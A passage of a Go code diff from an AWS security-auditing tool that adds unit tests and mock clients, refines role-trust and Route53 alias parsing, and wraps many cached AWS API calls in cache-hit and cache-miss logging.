for index, expectedResource2 := range tc.expectedResult {
if expectedResource2.Name != tc.testModule.Resources2[index].Name {
t.Fatal("Resource name does not match expected value")
}
if expectedResource2.ARN != tc.testModule.Resources2[index].ARN {
t.Fatal("Resource ARN does not match expected value")
}
if expectedResource2.Public != tc.testModule.Resources2[index].Public {
t.Fatal("Resource Public does not match expected value")
}
}
}
}
func TestOpenSearchResourceTrusts(t *testing.T) {
mockedOpenSearchClient := &sdk.MockedOpenSearchClient{}
var openSearchClient sdk.OpenSearchClientInterface = mockedOpenSearchClient
testCases := []struct {
outputDirectory string
verbosity int
testModule ResourceTrustsModule
expectedResult []Resource2
}{
{
outputDirectory: ".",
verbosity: 2,
testModule: ResourceTrustsModule{
KMSClient: nil,
APIGatewayClient: nil,
EC2Client: nil,
OpenSearchClient: &openSearchClient,
AWSRegions: []string{"us-west-2"},
Caller: sts.GetCallerIdentityOutput{
Account: aws.String("123456789012"),
Arn: aws.String("arn:aws:iam::123456789012:user/cloudfox_unit_tests"),
},
Goroutines: 30,
},
expectedResult: []Resource2{
{
Name: "domain1",
ARN: "arn:aws:es:us-east-1:123456789012:domain/domain1",
Public: "No",
},
{
Name: "domain2",
ARN: "arn:aws:es:us-east-1:123456789012:domain/domain2",
Public: "Yes",
},
},
},
}
for _, tc := range testCases {
tc.testModule.PrintResources(tc.outputDirectory, tc.verbosity, false)
for index, expectedResource2 := range tc.expectedResult {
if expectedResource2.Name != tc.testModule.Resources2[index].Name {
t.Fatal("Resource name does not match expected value")
}
if expectedResource2.ARN != tc.testModule.Resources2[index].ARN {
t.Fatal("Resource ARN does not match expected value")
}
if expectedResource2.Public != tc.testModule.Resources2[index].Public {
t.Fatal("Resource Public does not match expected value")
}
}
}
}
+8 -5
View File
@@ -219,9 +219,10 @@ func (m *RoleTrustsModule) printPrincipalTrusts(outputDirectory string) ([]strin
RoleARN: aws.ToString(role.roleARN),
RoleName: GetResourceNameFromArn(aws.ToString(role.roleARN)),
TrustedPrincipal: principal,
ExternalID: statement.Condition.StringEquals.StsExternalID,
IsAdmin: role.Admin,
CanPrivEsc: role.CanPrivEsc,
// if there is more than one externalID concat them using newlines
ExternalID: strings.Join(statement.Condition.StringEquals.StsExternalID, "\n"),
IsAdmin: role.Admin,
CanPrivEsc: role.CanPrivEsc,
}
body = append(body, []string{
aws.ToString(m.Caller.Account),
@@ -281,7 +282,7 @@ func (m *RoleTrustsModule) printPrincipalTrustsRootOnly(outputDirectory string)
for _, role := range m.AnalyzedRoles {
for _, statement := range role.trustsDoc.Statement {
for _, principal := range statement.Principal.AWS {
if strings.Contains(principal, ":root") && statement.Condition.StringEquals.StsExternalID == "" {
if strings.Contains(principal, ":root") && statement.Condition.StringEquals.StsExternalID == nil {
accountID := strings.Split(principal, ":")[4]
vendorName := m.vendors.GetVendorNameFromAccountID(accountID)
if vendorName != "" {
@@ -292,7 +293,7 @@ func (m *RoleTrustsModule) printPrincipalTrustsRootOnly(outputDirectory string)
RoleARN: aws.ToString(role.roleARN),
RoleName: GetResourceNameFromArn(aws.ToString(role.roleARN)),
TrustedPrincipal: principal,
ExternalID: statement.Condition.StringEquals.StsExternalID,
ExternalID: strings.Join(statement.Condition.StringEquals.StsExternalID, "\n"),
IsAdmin: role.Admin,
CanPrivEsc: role.CanPrivEsc,
}
@@ -465,6 +466,8 @@ func parseFederatedTrustPolicy(statement policy.RoleTrustStatementEntry) (string
subjects = append(subjects, statement.Condition.StringLike.TokenActionsGithubusercontentComSub...)
} else if len(statement.Condition.StringEquals.TokenActionsGithubusercontentComSub) > 0 {
subjects = append(subjects, statement.Condition.StringEquals.TokenActionsGithubusercontentComSub...)
} else if len(statement.Condition.ForAllValuesStringLike.TokenActionsGithubusercontentComSub) > 0 {
subjects = append(subjects, statement.Condition.ForAllValuesStringLike.TokenActionsGithubusercontentComSub...)
} else {
subjects = append(subjects, "ALL REPOS!!!")
}
+17 -5
View File
@@ -235,19 +235,31 @@ func (m *Route53Module) getRoute53Records() {
recordName = aws.ToString(record.Name)
recordType = string(record.Type)
for _, resourceRecord := range record.ResourceRecords {
recordValue := resourceRecord.Value
if record.AliasTarget != nil {
m.Records = append(
m.Records,
Record{
AWSService: "Route53",
Name: recordName,
Type: recordType,
Value: aws.ToString(recordValue),
Type: fmt.Sprintf("Alias[%s]", recordType),
Value: aws.ToString(record.AliasTarget.DNSName),
PrivateZone: privateZone,
})
} else {
for _, resourceRecord := range record.ResourceRecords {
recordValue := resourceRecord.Value
m.Records = append(
m.Records,
Record{
AWSService: "Route53",
Name: recordName,
Type: recordType,
Value: aws.ToString(recordValue),
PrivateZone: privateZone,
})
}
}
}
}
+122 -1
View File
@@ -10,6 +10,7 @@ import (
"github.com/aws/aws-sdk-go-v2/service/apigateway"
apiGatewayTypes "github.com/aws/aws-sdk-go-v2/service/apigateway/types"
"github.com/patrickmn/go-cache"
"github.com/sirupsen/logrus"
)
type APIGatewayClientInterface interface {
@@ -53,15 +54,37 @@ func init() {
gob.Register([]apiGatewayTypes.UsagePlanKey{})
}
// create a CachedApiGatewayGetRestAPIs function that accepts a client, account id, region. Make sure it handles caching, the region option and pagination
func IsPublicApiGateway(ra *apiGatewayTypes.RestApi) bool {
for _, endpointType := range ra.EndpointConfiguration.Types {
if endpointType == apiGatewayTypes.EndpointTypeRegional || endpointType == apiGatewayTypes.EndpointTypeEdge {
return true
}
}
return false
}
// CachedApiGatewayGetRestAPIs function that accepts a client, account id, region. Make sure it handles caching, the region option and pagination
func CachedApiGatewayGetRestAPIs(client APIGatewayClientInterface, accountID string, region string) ([]apiGatewayTypes.RestApi, error) {
var PaginationControl *string
var restAPIs []apiGatewayTypes.RestApi
cacheKey := fmt.Sprintf("%s-apigateway-GetRestApis-%s", accountID, region)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.WithFields(logrus.Fields{
"api": "apigateway:GetRestApis",
"account": accountID,
"region": region,
"cache": "hit",
}).Info("AWS API call")
return cached.([]apiGatewayTypes.RestApi), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "apigateway:GetRestApis",
"account": accountID,
"region": region,
"cache": "miss",
}).Info("AWS API call")
for {
GetRestApis, err := client.GetRestApis(
@@ -95,10 +118,24 @@ func CachedApiGatewayGetStages(client APIGatewayClientInterface, accountID strin
cacheKey := fmt.Sprintf("%s-apigateway-GetStages-%s-%s", accountID, region, restAPIID)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.WithFields(logrus.Fields{
"api": "apigateway:GetStages",
"account": accountID,
"region": region,
"restApiId": restAPIID,
"cache": "hit",
}).Info("AWS API call")
// Convert cached data back to GetStagesOutput before returning
cachedOutput := cached.(*CachedGetStagesOutput) // Ensure this type assertion matches your caching logic
return fromCachedGetStagesOutput(cachedOutput), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "apigateway:GetStages",
"account": accountID,
"region": region,
"restApiId": restAPIID,
"cache": "miss",
}).Info("AWS API call")
GetStages, err := client.GetStages(
context.TODO(),
@@ -142,8 +179,22 @@ func CachedApiGatewayGetResources(client APIGatewayClientInterface, accountID st
cacheKey := fmt.Sprintf("%s-apigateway-GetResources-%s-%s", accountID, region, restAPIID)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.WithFields(logrus.Fields{
"api": "apigateway:GetResources",
"account": accountID,
"region": region,
"restApiId": restAPIID,
"cache": "hit",
}).Info("AWS API call")
return cached.([]apiGatewayTypes.Resource), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "apigateway:GetResources",
"account": accountID,
"region": region,
"restApiId": restAPIID,
"cache": "miss",
}).Info("AWS API call")
for {
GetResources, err := client.GetResources(
@@ -180,8 +231,20 @@ func CachedApiGatewayGetDomainNames(client APIGatewayClientInterface, accountID
cacheKey := fmt.Sprintf("%s-apigateway-GetDomainNames-%s", accountID, region)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.WithFields(logrus.Fields{
"api": "apigateway:GetDomainNames",
"account": accountID,
"region": region,
"cache": "hit",
}).Info("AWS API call")
return cached.([]apiGatewayTypes.DomainName), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "apigateway:GetDomainNames",
"account": accountID,
"region": region,
"cache": "miss",
}).Info("AWS API call")
for {
GetDomainNames, err := client.GetDomainNames(
@@ -217,8 +280,22 @@ func CachedApiGatewayGetBasePathMappings(client APIGatewayClientInterface, accou
cacheKey := fmt.Sprintf("%s-apigateway-GetBasePathMappings-%s-%s", accountID, region, aws.ToString(domain))
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.WithFields(logrus.Fields{
"api": "apigateway:GetBasePathMappings",
"account": accountID,
"region": region,
"domainName": aws.ToString(domain),
"cache": "hit",
}).Info("AWS API call")
return cached.([]apiGatewayTypes.BasePathMapping), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "apigateway:GetBasePathMappings",
"account": accountID,
"region": region,
"domainName": aws.ToString(domain),
"cache": "miss",
}).Info("AWS API call")
for {
GetBasePathMappings, err := client.GetBasePathMappings(
@@ -254,10 +331,28 @@ func CachedApiGatewayGetMethod(client APIGatewayClientInterface, accountID strin
cacheKey := fmt.Sprintf("%s-apigateway-GetMethod-%s-%s-%s-%s", accountID, region, restAPIID, resourceID, method)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.WithFields(logrus.Fields{
"api": "apigateway:GetMethod",
"account": accountID,
"region": region,
"restApiId": restAPIID,
"resourceId": resourceID,
"httpMethod": method,
"cache": "hit",
}).Info("AWS API call")
// Convert cached data back to GetMethodOutput before returning
cachedOutput := cached.(*CachedGetMethodOutput) // Ensure this type assertion matches your caching logic
return fromCachedGetMethodOutput(cachedOutput), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "apigateway:GetMethod",
"account": accountID,
"region": region,
"restApiId": restAPIID,
"resourceId": resourceID,
"httpMethod": method,
"cache": "miss",
}).Info("AWS API call")
GetMethod, err := client.GetMethod(
context.TODO(),
@@ -324,8 +419,20 @@ func CachedApiGatewayGetUsagePlans(client APIGatewayClientInterface, accountID s
cacheKey := fmt.Sprintf("%s-apigateway-GetUsagePlans-%s", accountID, region)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.WithFields(logrus.Fields{
"api": "apigateway:GetUsagePlans",
"account": accountID,
"region": region,
"cache": "hit",
}).Info("AWS API call")
return cached.([]apiGatewayTypes.UsagePlan), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "apigateway:GetUsagePlans",
"account": accountID,
"region": region,
"cache": "miss",
}).Info("AWS API call")
for {
GetUsagePlans, err := client.GetUsagePlans(
@@ -362,8 +469,22 @@ func CachedApiGatewayGetUsagePlanKeys(client APIGatewayClientInterface, accountI
cacheKey := fmt.Sprintf("%s-apigateway-GetUsagePlanKeys-%s-%s", accountID, region, usagePlanID)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.WithFields(logrus.Fields{
"api": "apigateway:GetUsagePlanKeys",
"account": accountID,
"region": region,
"usagePlanId": usagePlanID,
"cache": "hit",
}).Info("AWS API call")
return cached.([]apiGatewayTypes.UsagePlanKey), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "apigateway:GetUsagePlanKeys",
"account": accountID,
"region": region,
"usagePlanId": usagePlanID,
"cache": "miss",
}).Info("AWS API call")
for {
GetUsagePlanKeys, err := client.GetUsagePlanKeys(
+1
View File
@@ -22,6 +22,7 @@ func (m *MockedAWSAPIGatewayClient) GetRestApis(ctx context.Context, input *apig
apiGatewayTypes.EndpointTypePrivate,
},
},
Policy: aws.String("{\"Version\":\"2012-10-17\",\"Statement\":[{\"Effect\":\"Allow\",\"Principal\":\"*\",\"Action\":\"execute-api:Invoke\",\"Resource\":\"arn:aws:execute-api:us-west-2:123456789012:abcdefg/*/*/*\"}]}"),
},
{
Id: aws.String("qwerty"),
+61
View File
@@ -10,6 +10,7 @@ import (
apiGatwayV2Types "github.com/aws/aws-sdk-go-v2/service/apigatewayv2/types"
"github.com/patrickmn/go-cache"
"github.com/sirupsen/logrus"
)
type APIGatewayv2ClientInterface interface {
@@ -38,8 +39,20 @@ func CachedAPIGatewayv2GetAPIs(client APIGatewayv2ClientInterface, accountID str
cacheKey := fmt.Sprintf("%s-apigatewayv2-GetApis-%s", accountID, region)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.WithFields(logrus.Fields{
"api": "apigatewayv2:GetApis",
"account": accountID,
"region": region,
"cache": "hit",
}).Info("AWS API call")
return cached.([]apiGatwayV2Types.Api), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "apigatewayv2:GetApis",
"account": accountID,
"region": region,
"cache": "miss",
}).Info("AWS API call")
for {
GetApis, err := client.GetApis(
context.TODO(),
@@ -74,8 +87,20 @@ func CachedAPIGatewayv2GetDomainNames(client APIGatewayv2ClientInterface, accoun
cacheKey := fmt.Sprintf("%s-apigatewayv2-GetDomainNames-%s", accountID, region)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.WithFields(logrus.Fields{
"api": "apigatewayv2:GetDomainNames",
"account": accountID,
"region": region,
"cache": "hit",
}).Info("AWS API call")
return cached.([]domainName), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "apigatewayv2:GetDomainNames",
"account": accountID,
"region": region,
"cache": "miss",
}).Info("AWS API call")
for {
GetDomainNames, err := client.GetDomainNames(
context.TODO(),
@@ -114,8 +139,20 @@ func CachedAPIGatewayv2GetApiMappings(client APIGatewayv2ClientInterface, accoun
cacheKey := fmt.Sprintf("%s-apigatewayv2-GetApiMappings-%s-%s", accountID, region, domain)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.WithFields(logrus.Fields{
"api": "apigatewayv2:GetApiMappings",
"account": accountID,
"region": region,
"cache": "hit",
}).Info("AWS API call")
return cached.([]apiGatwayV2Types.ApiMapping), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "apigatewayv2:GetApiMappings",
"account": accountID,
"region": region,
"cache": "miss",
}).Info("AWS API call")
for {
GetApiMappings, err := client.GetApiMappings(
context.TODO(),
@@ -151,8 +188,20 @@ func CachedAPIGatewayv2GetStages(client APIGatewayv2ClientInterface, accountID s
cacheKey := fmt.Sprintf("%s-apigatewayv2-GetStages-%s-%s", accountID, region, apiID)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.WithFields(logrus.Fields{
"api": "apigatewayv2:GetStages",
"account": accountID,
"region": region,
"cache": "hit",
}).Info("AWS API call")
return cached.([]apiGatwayV2Types.Stage), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "apigatewayv2:GetStages",
"account": accountID,
"region": region,
"cache": "miss",
}).Info("AWS API call")
for {
GetStages, err := client.GetStages(
context.TODO(),
@@ -188,8 +237,20 @@ func CachedAPIGatewayv2GetRoutes(client APIGatewayv2ClientInterface, accountID s
cacheKey := fmt.Sprintf("%s-apigatewayv2-GetRoutes-%s-%s", accountID, region, apiID)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.WithFields(logrus.Fields{
"api": "apigatewayv2:GetRoutes",
"account": accountID,
"region": region,
"cache": "hit",
}).Info("AWS API call")
return cached.([]apiGatwayV2Types.Route), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "apigatewayv2:GetRoutes",
"account": accountID,
"region": region,
"cache": "miss",
}).Info("AWS API call")
for {
GetRoutes, err := client.GetRoutes(
context.TODO(),
+13
View File
@@ -9,6 +9,7 @@ import (
"github.com/aws/aws-sdk-go-v2/service/apprunner"
apprunnerTypes "github.com/aws/aws-sdk-go-v2/service/apprunner/types"
"github.com/patrickmn/go-cache"
"github.com/sirupsen/logrus"
)
type AppRunnerClientInterface interface {
@@ -26,8 +27,20 @@ func CachedAppRunnerListServices(client AppRunnerClientInterface, accountID stri
cacheKey := fmt.Sprintf("%s-apprunner-ListServices-%s", accountID, region)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.WithFields(logrus.Fields{
"api": "apprunner:ListServices",
"account": accountID,
"region": region,
"cache": "hit",
}).Info("AWS API call")
return cached.([]apprunnerTypes.ServiceSummary), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "apprunner:ListServices",
"account": accountID,
"region": region,
"cache": "miss",
}).Info("AWS API call")
for {
ListServices, err := client.ListServices(
context.TODO(),
+27
View File
@@ -9,6 +9,7 @@ import (
"github.com/aws/aws-sdk-go-v2/service/athena"
athenaTypes "github.com/aws/aws-sdk-go-v2/service/athena/types"
"github.com/patrickmn/go-cache"
"github.com/sirupsen/logrus"
)
type AWSAthenaClientInterface interface {
@@ -26,8 +27,20 @@ func CachedAthenaListDataCatalogs(client AWSAthenaClientInterface, accountID str
cacheKey := fmt.Sprintf("%s-athena-ListDataCatalogs-%s", accountID, region)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.WithFields(logrus.Fields{
"api": "athena:ListDataCatalogs",
"account": accountID,
"region": region,
"cache": "hit",
}).Info("AWS API call")
return cached.([]athenaTypes.DataCatalogSummary), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "athena:ListDataCatalogs",
"account": accountID,
"region": region,
"cache": "miss",
}).Info("AWS API call")
for {
ListDataCatalogs, err := client.ListDataCatalogs(
context.TODO(),
@@ -62,8 +75,22 @@ func CachedAthenaListDatabases(client AWSAthenaClientInterface, accountID string
cacheKey := fmt.Sprintf("%s-athena-ListDatabases-%s-%s", accountID, region, catalogName)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.WithFields(logrus.Fields{
"api": "athena:ListDatabases",
"account": accountID,
"region": region,
"catalogName": catalogName,
"cache": "hit",
}).Info("AWS API call")
return cached.([]string), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "athena:ListDatabases",
"account": accountID,
"region": region,
"catalogName": catalogName,
"cache": "miss",
}).Info("AWS API call")
for {
ListDatabases, err := client.ListDatabases(
context.TODO(),
+25
View File
@@ -8,6 +8,7 @@ import (
"github.com/aws/aws-sdk-go-v2/service/cloud9"
cloud9Types "github.com/aws/aws-sdk-go-v2/service/cloud9/types"
"github.com/patrickmn/go-cache"
"github.com/sirupsen/logrus"
)
type AWSCloud9ClientInterface interface {
@@ -25,8 +26,20 @@ func CachedCloud9ListEnvironments(client AWSCloud9ClientInterface, accountID str
cacheKey := "cloud9-ListEnvironments-" + accountID + "-" + region
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.WithFields(logrus.Fields{
"api": "cloud9:ListEnvironments",
"account": accountID,
"region": region,
"cache": "hit",
}).Info("AWS API call")
return cached.([]string), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "cloud9:ListEnvironments",
"account": accountID,
"region": region,
"cache": "miss",
}).Info("AWS API call")
for {
ListEnvironments, err := client.ListEnvironments(
context.TODO(),
@@ -60,8 +73,20 @@ func CachedCloud9DescribeEnvironments(client AWSCloud9ClientInterface, accountID
cacheKey := "cloud9-DescribeEnvironments-" + accountID + "-" + region
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.WithFields(logrus.Fields{
"api": "cloud9:DescribeEnvironments",
"account": accountID,
"region": region,
"cache": "hit",
}).Info("AWS API call")
return cached.([]cloud9Types.Environment), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "cloud9:DescribeEnvironments",
"account": accountID,
"region": region,
"cache": "miss",
}).Info("AWS API call")
for _, environmentID := range environmentIDs {
DescribeEnvironments, err := client.DescribeEnvironments(
context.TODO(),
+37
View File
@@ -10,6 +10,7 @@ import (
"github.com/aws/aws-sdk-go-v2/service/cloudformation"
cloudFormationTypes "github.com/aws/aws-sdk-go-v2/service/cloudformation/types"
"github.com/patrickmn/go-cache"
"github.com/sirupsen/logrus"
)
type CloudFormationClientInterface interface {
@@ -29,8 +30,20 @@ func CachedCloudFormationDescribeStacks(client CloudFormationClientInterface, ac
cacheKey := fmt.Sprintf("%s-cloudformation-DescribeStacks-%s", accountID, region)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.WithFields(logrus.Fields{
"api": "cloudformation:DescribeStacks",
"account": accountID,
"region": region,
"cache": "hit",
}).Info("AWS API call")
return cached.([]cloudFormationTypes.Stack), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "cloudformation:DescribeStacks",
"account": accountID,
"region": region,
"cache": "miss",
}).Info("AWS API call")
for {
DescribeStacks, err := client.DescribeStacks(
context.TODO(),
@@ -63,8 +76,20 @@ func CachedCloudFormationGetTemplate(client CloudFormationClientInterface, accou
cacheKey := fmt.Sprintf("%s-cloudformation-GetTemplate-%s-%s", accountID, region, stackName)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.WithFields(logrus.Fields{
"api": "cloudformation:GetTemplate",
"account": accountID,
"region": region,
"cache": "hit",
}).Info("AWS API call")
return cached.(string), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "cloudformation:GetTemplate",
"account": accountID,
"region": region,
"cache": "miss",
}).Info("AWS API call")
GetTemplate, err := client.GetTemplate(
context.TODO(),
@@ -89,8 +114,20 @@ func CachedCloudFormationListStacks(client CloudFormationClientInterface, accoun
cacheKey := fmt.Sprintf("%s-cloudformation-ListStacks-%s", accountID, region)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.WithFields(logrus.Fields{
"api": "cloudformation:ListStacks",
"account": accountID,
"region": region,
"cache": "hit",
}).Info("AWS API call")
return cached.([]cloudFormationTypes.StackSummary), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "cloudformation:ListStacks",
"account": accountID,
"region": region,
"cache": "miss",
}).Info("AWS API call")
for {
ListStacks, err := client.ListStacks(
context.TODO(),
+11 -1
View File
@@ -8,6 +8,7 @@ import (
"github.com/aws/aws-sdk-go-v2/service/cloudfront"
cloudfrontTypes "github.com/aws/aws-sdk-go-v2/service/cloudfront/types"
"github.com/patrickmn/go-cache"
"github.com/sirupsen/logrus"
)
type AWSCloudFrontClientInterface interface {
@@ -25,9 +26,18 @@ func CachedCloudFrontListDistributions(CloudFrontClient AWSCloudFrontClientInter
cacheKey := "cloudfront-ListDistributions-" + accountID
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.Debug("Using cached CloudFront distributions data")
sharedLogger.WithFields(logrus.Fields{
"api": "cloudfront:ListDistributions",
"account": accountID,
"cache": "hit",
}).Info("AWS API call")
return cached.([]cloudfrontTypes.DistributionSummary), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "cloudfront:ListDistributions",
"account": accountID,
"cache": "miss",
}).Info("AWS API call")
for {
ListDistributions, err := CloudFrontClient.ListDistributions(
+25
View File
@@ -9,6 +9,7 @@ import (
"github.com/aws/aws-sdk-go-v2/service/codeartifact"
codeArtifactTypes "github.com/aws/aws-sdk-go-v2/service/codeartifact/types"
"github.com/patrickmn/go-cache"
"github.com/sirupsen/logrus"
)
type AWSCodeArtifactClientInterface interface {
@@ -27,8 +28,20 @@ func CachedCodeArtifactListDomains(client AWSCodeArtifactClientInterface, accoun
cacheKey := fmt.Sprintf("%s-codeartifact-ListDomains-%s", accountID, region)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.WithFields(logrus.Fields{
"api": "codeartifact:ListDomains",
"account": accountID,
"region": region,
"cache": "hit",
}).Info("AWS API call")
return cached.([]codeArtifactTypes.DomainSummary), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "codeartifact:ListDomains",
"account": accountID,
"region": region,
"cache": "miss",
}).Info("AWS API call")
for {
ListDomains, err := client.ListDomains(
context.TODO(),
@@ -63,8 +76,20 @@ func CachedCodeArtifactListRepositories(client AWSCodeArtifactClientInterface, a
cacheKey := fmt.Sprintf("%s-codeartifact-ListRepositories-%s", accountID, region)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.WithFields(logrus.Fields{
"api": "codeartifact:ListRepositories",
"account": accountID,
"region": region,
"cache": "hit",
}).Info("AWS API call")
return cached.([]codeArtifactTypes.RepositorySummary), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "codeartifact:ListRepositories",
"account": accountID,
"region": region,
"cache": "miss",
}).Info("AWS API call")
for {
ListRepositories, err := client.ListRepositories(
context.TODO(),
+37
View File
@@ -10,6 +10,7 @@ import (
"github.com/aws/aws-sdk-go-v2/service/codebuild"
codeBuildTypes "github.com/aws/aws-sdk-go-v2/service/codebuild/types"
"github.com/patrickmn/go-cache"
"github.com/sirupsen/logrus"
)
type CodeBuildClientInterface interface {
@@ -31,8 +32,20 @@ func CachedCodeBuildListProjects(CodeBuildClient CodeBuildClientInterface, accou
cacheKey := fmt.Sprintf("%s-codebuild-ListProjects", accountID)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.WithFields(logrus.Fields{
"api": "codebuild:ListProjects",
"account": accountID,
"region": region,
"cache": "hit",
}).Info("AWS API call")
return cached.([]string), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "codebuild:ListProjects",
"account": accountID,
"region": region,
"cache": "miss",
}).Info("AWS API call")
for {
ListProjects, err := CodeBuildClient.ListProjects(
@@ -71,8 +84,20 @@ func CachedCodeBuildBatchGetProjects(CodeBuildClient CodeBuildClientInterface, a
cacheKey := fmt.Sprintf("%s-codebuild-BatchGetProjects-%s-%s", accountID, region, projectID)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.WithFields(logrus.Fields{
"api": "codebuild:BatchGetProjects",
"account": accountID,
"region": region,
"cache": "hit",
}).Info("AWS API call")
return cached.(codeBuildTypes.Project), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "codebuild:BatchGetProjects",
"account": accountID,
"region": region,
"cache": "miss",
}).Info("AWS API call")
BatchGetProjects, err := CodeBuildClient.BatchGetProjects(
context.TODO(),
@@ -97,8 +122,20 @@ func CachedCodeBuildGetResourcePolicy(CodeBuildClient CodeBuildClientInterface,
cacheKey := fmt.Sprintf("%s-codebuild-GetResourcePolicy-%s-%s", accountID, region, projectID)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.WithFields(logrus.Fields{
"api": "codebuild:GetResourcePolicy",
"account": accountID,
"region": region,
"cache": "hit",
}).Info("AWS API call")
return cached.(string), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "codebuild:GetResourcePolicy",
"account": accountID,
"region": region,
"cache": "miss",
}).Info("AWS API call")
GetResourcePolicy, err := CodeBuildClient.GetResourcePolicy(
context.TODO(),
+14
View File
@@ -5,6 +5,7 @@ import (
"github.com/aws/aws-sdk-go-v2/aws"
"github.com/aws/aws-sdk-go-v2/service/codebuild"
codeBuildTypes "github.com/aws/aws-sdk-go-v2/service/codebuild/types"
)
type MockedCodeBuildClient struct {
@@ -19,6 +20,19 @@ func (m *MockedCodeBuildClient) ListProjects(ctx context.Context, input *codebui
}, nil
}
func (m *MockedCodeBuildClient) BatchGetProjects(ctx context.Context, input *codebuild.BatchGetProjectsInput, options ...func(*codebuild.Options)) (*codebuild.BatchGetProjectsOutput, error) {
return &codebuild.BatchGetProjectsOutput{
Projects: []codeBuildTypes.Project{
{
Name: aws.String("project1"),
},
{
Name: aws.String("project2"),
},
},
}, nil
}
func (m *MockedCodeBuildClient) GetResourcePolicy(ctx context.Context, input *codebuild.GetResourcePolicyInput, options ...func(*codebuild.Options)) (*codebuild.GetResourcePolicyOutput, error) {
return &codebuild.GetResourcePolicyOutput{
Policy: aws.String(`{
+13
View File
@@ -9,6 +9,7 @@ import (
"github.com/aws/aws-sdk-go-v2/service/codecommit"
codeCommitTypes "github.com/aws/aws-sdk-go-v2/service/codecommit/types"
"github.com/patrickmn/go-cache"
"github.com/sirupsen/logrus"
)
type AWSCodeCommitClientInterface interface {
@@ -25,8 +26,20 @@ func CachedCodeCommitListRepositories(client AWSCodeCommitClientInterface, accou
cacheKey := fmt.Sprintf("%s-codecommit-ListRepositories-%s", accountID, region)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.WithFields(logrus.Fields{
"api": "codecommit:ListRepositories",
"account": accountID,
"region": region,
"cache": "hit",
}).Info("AWS API call")
return cached.([]codeCommitTypes.RepositoryNameIdPair), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "codecommit:ListRepositories",
"account": accountID,
"region": region,
"cache": "miss",
}).Info("AWS API call")
for {
ListRepositories, err := client.ListRepositories(
context.TODO(),
+79
View File
@@ -9,6 +9,7 @@ import (
"github.com/aws/aws-sdk-go-v2/service/codedeploy"
codeDeployTypes "github.com/aws/aws-sdk-go-v2/service/codedeploy/types"
"github.com/patrickmn/go-cache"
"github.com/sirupsen/logrus"
)
type AWSCodeDeployClientInterface interface {
@@ -34,8 +35,20 @@ func CachedCodeDeployListApplications(client AWSCodeDeployClientInterface, accou
cacheKey := fmt.Sprintf("%s-codedeploy-ListApplications-%s", accountID, region)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.WithFields(logrus.Fields{
"api": "codedeploy:ListApplications",
"account": accountID,
"region": region,
"cache": "hit",
}).Info("AWS API call")
return cached.([]string), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "codedeploy:ListApplications",
"account": accountID,
"region": region,
"cache": "miss",
}).Info("AWS API call")
for {
ListApplications, err := client.ListApplications(
context.TODO(),
@@ -70,8 +83,20 @@ func CachedCodeDeployListDeploymentConfigs(client AWSCodeDeployClientInterface,
cacheKey := fmt.Sprintf("%s-codedeploy-ListDeploymentConfigs-%s", accountID, region)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.WithFields(logrus.Fields{
"api": "codedeploy:ListDeploymentConfigs",
"account": accountID,
"region": region,
"cache": "hit",
}).Info("AWS API call")
return cached.([]string), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "codedeploy:ListDeploymentConfigs",
"account": accountID,
"region": region,
"cache": "miss",
